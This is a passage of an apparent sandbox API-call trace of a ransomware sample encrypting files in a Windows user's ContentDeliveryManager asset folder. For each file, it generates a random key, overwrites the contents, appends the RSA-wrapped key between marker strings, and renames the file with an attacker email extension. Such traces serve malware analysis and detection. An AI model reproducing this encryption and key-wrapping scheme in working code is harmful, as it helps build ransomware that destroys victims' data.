1 [0221.778] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.778] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\19e5a6240f137c4a1cf071859a4aeb3d9d0ebf907c21142ef769cfbd4d62b583", dwFileAttributes=0x80) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66df78 [0221.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e6b0 [0221.779] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\19e5a6240f137c4a1cf071859a4aeb3d9d0ebf907c21142ef769cfbd4d62b583" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\19e5a6240f137c4a1cf071859a4aeb3d9d0ebf907c21142ef769cfbd4d62b583"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.779] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1349056) returned 1 [0221.779] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1495c0) returned 0x354d020 [0221.780] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1495c0) returned 0x36a0020 [0221.780] ReadFile (in: hFile=0x1840, lpBuffer=0x354d020, nNumberOfBytesToRead=0x1495c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1495c0, lpOverlapped=0x0) returned 1 [0222.182] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1349056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.182] WriteFile (in: hFile=0x1840, lpBuffer=0x36a0020*, nNumberOfBytesToWrite=0x1495c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36a0020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1495c0, lpOverlapped=0x0) returned 1 [0222.188] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1495c0 [0222.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.188] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66e8c8 [0222.188] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e8c8, pcchString=0x2e3f9a8 | out: pszString="w3B3sOTvwoabHVtBByFedk/jzKz2duNWew48KfQ4Cizu4QgLx9BPAt33NHcZSCHI\n6pqpr9x7Oc09Ox8ARk+J9CVzDFvB21WKTLhG8ZIIP65fYQlLcSezwcowGbNIpPR9\nQ+TDrvuNfjBXQMb0F5GaADQe5n2Ufsik+chlPGOAkJlfdwo2fSzKjwtoOwNoGmXw\ny+amFyFZAQC8FzRPCfJ7a1z/8DWcTqHRlfTkE3rBlubx9xRD97HGWg017wgoeom7\nTE1fU2FcQVF/E/E/doNE4C/oYxSm/DcUcDtVmcPsnDI4Erd4icJw7/eQ8JuGadq9\nmDjVvulidAteDdXdkk/AFA==\n", pcchString=0x2e3f9a8) returned 1 [0222.188] WriteFile (in: hFile=0x1840, lpBuffer=0x66e8c8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.188] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.189] CloseHandle (hObject=0x1840) returned 1 [0222.197] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.197] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2", dwFileAttributes=0x80) returned 1 [0222.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66de10 [0222.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e548 [0222.198] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.198] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=491754) returned 1 [0222.198] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x780ea) returned 0x3351010 [0222.199] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x780ea) returned 0x33c9108 [0222.199] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x780ea, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x780ea, lpOverlapped=0x0) returned 1 [0222.306] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-491754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.306] WriteFile (in: hFile=0x1840, lpBuffer=0x33c9108*, nNumberOfBytesToWrite=0x780ea, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33c9108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x780ea, lpOverlapped=0x0) returned 1 [0222.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3351010 | out: hHeap=0x570000) returned 1 [0222.308] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33c9108 | out: hHeap=0x570000) returned 1 [0222.308] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x780ea [0222.308] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.308] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.309] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.309] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.309] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.309] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66e760 [0222.309] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e760, pcchString=0x2e3f9a8 | out: pszString="YoTaLgODbaDpT6OvHW/lPmGBOamNWD2tFfD3Yk8p91tCRsokCfFgeHsW1niLH0Ix\nynmXw0XDzxA7vEHRB+VlZoKRWjEdaRAtyT+h+daTiD23VRmxqB7lAv3JnEtmkNhO\njoIiDj8uhjh+OjRmuEemw4jba2VYSh7i45iQSVHPNFZo2joQEJwVYTuQvKkvTgZx\nDzGqsi2yy4Bs9D8i42g5f/eFE+34H37W109XY7Gu1lH5h6Vj2EQ1BeOchFvvDV3b\nKjYyfZ5GVmZoclZN68avdxekEKNIpXBIIR6iE1hRYT9DZzqwzn8ZIWjDHfeP7pV7\njJEqE3v31xvOovuiy6AlpA==\n", pcchString=0x2e3f9a8) returned 1 [0222.309] WriteFile (in: hFile=0x1840, lpBuffer=0x66e760*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e760*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.309] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.309] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.309] CloseHandle (hObject=0x1840) returned 1 [0222.309] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e760 | out: hHeap=0x570000) returned 1 [0222.309] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\189c80ffd609217fe38db47e512df6a2484b81fc39e624bd634b78cacc3ca9a2.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0222.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0222.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d438 | out: hHeap=0x570000) returned 1 [0222.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8270 | out: hHeap=0x570000) returned 1 [0222.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d9d8 [0222.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fb0 [0222.333] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.333] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae", dwFileAttributes=0x80) returned 1 [0222.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66df78 [0222.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x5a8270 [0222.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66df78 | out: hHeap=0x570000) returned 1 [0222.333] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.334] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=755) returned 1 [0222.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2f3) returned 0x66e548 [0222.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2f3) returned 0x66e848 [0222.334] ReadFile (in: hFile=0x1840, lpBuffer=0x66e548, nNumberOfBytesToRead=0x2f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x2f3, lpOverlapped=0x0) returned 1 [0222.427] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-755, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.428] WriteFile (in: hFile=0x1840, lpBuffer=0x66e848*, nNumberOfBytesToWrite=0x2f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e848*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2f3, lpOverlapped=0x0) returned 1 [0222.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0222.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e848 | out: hHeap=0x570000) returned 1 [0222.428] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2f3 [0222.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.428] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.428] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66e548 [0222.428] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e548, pcchString=0x2e3f9a8 | out: pszString="AsWtEZl4yEyCxZQaYBN4cVNl1hiXjl16LNFcku6MuKc3bha7/oyvhr4ElaHQiajO\nnGpkqdTPVYBUY2uRSvTwbuFHh2wuma/vAiUXFSa2/4sjNsS1KAWmRWWKga4zMi/2\nygqfBE8MoTLu4DD+cMdar1qxaaxz8teR5UGrBzXheoK+bUkiLft5nfNaq/RfCtz2\nu8qnZRIPh1Pfw1UPzf1JUS8BP8/XeCdK0GW/mHtbjp28rWe/JQo2tQv4NjyadObw\nQt+j/xwFLBxWRJhfx0wASbBubgYuNbwOVjtU+dRpkxIGDjmlGuTMrl8qx1nWzfnb\nCEH2KitVp1Niz49Xm5kmbw==\n", pcchString=0x2e3f9a8) returned 1 [0222.428] WriteFile (in: hFile=0x1840, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.429] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.429] CloseHandle (hObject=0x1840) returned 1 [0222.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0222.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\170d1221afa47b91468a0f4c33f7ee970cbd516d9cd47671450d629a768db3ae.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8270 | out: hHeap=0x570000) returned 1 [0222.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fb0 | out: hHeap=0x570000) returned 1 [0222.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d9d8 | out: hHeap=0x570000) returned 1 [0222.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d5a0 [0222.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0222.431] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.431] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674", dwFileAttributes=0x80) returned 1 [0222.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d708 [0222.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x5a8108 [0222.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d708 | out: hHeap=0x570000) returned 1 [0222.432] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0222.432] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=297645) returned 1 [0222.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x48aad) returned 0x3351010 [0222.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x48aad) returned 0x3399ac8 [0222.433] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x48aad, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x48aad, lpOverlapped=0x0) returned 1 [0222.517] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-297645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0222.517] WriteFile (in: hFile=0x1840, lpBuffer=0x3399ac8*, nNumberOfBytesToWrite=0x48aad, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3399ac8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x48aad, lpOverlapped=0x0) returned 1 [0222.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3351010 | out: hHeap=0x570000) returned 1 [0222.518] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3399ac8 | out: hHeap=0x570000) returned 1 [0222.519] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x48aad [0222.519] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.519] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0222.519] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0222.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0222.519] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66e548 [0222.519] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66e548, pcchString=0x2e3f9a8 | out: pszString="I2kGvlYHTZHf++9OF5/03k6gV3yNwFin2bfP02zW25Qe0AmDyExEndoYHaNRhQ58\nDdz3HniCHZNsLzEguhNgLdRAyOkzwd3goNiP0xEaL/EotEC3197jTjne/CozxEyq\nc8T0u9EJNITN12QQSSyQoR7C2LxySS+fTP/GnMNX+AnnyShhnzJSRdnaXQ0FtqMZ\ngxUfLBtcZLFD0EvEvyg7XYkdmNp6ChkRrTLAU7c7W8vPNkXVvOVVDfhflPkP/xL3\nr5oym63mGelzsKcxBhkfmLMeoZ3l855ol+LPrxMosQkx97RljhNAQ/zgLsyqKmh3\n0xBfHrySxQBTObBHHwsVBw==\n", pcchString=0x2e3f9a8) returned 1 [0222.519] WriteFile (in: hFile=0x1840, lpBuffer=0x66e548*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0222.520] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0222.520] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0222.520] CloseHandle (hObject=0x1840) returned 1 [0222.520] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66e548 | out: hHeap=0x570000) returned 1 [0222.520] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\108ef49f1d2ca8f76e1ea72ec8b4c7027cad10e58025ff3e090316053aa12674.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0222.522] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0222.522] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e70 | out: hHeap=0x570000) returned 1 [0222.522] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66d5a0 | out: hHeap=0x570000) returned 1 [0222.522] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b4d88 | out: hHeap=0x570000) returned 1 [0222.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d5a0 [0222.522] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e70 [0222.522] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0222.522] SetFileAttributesW 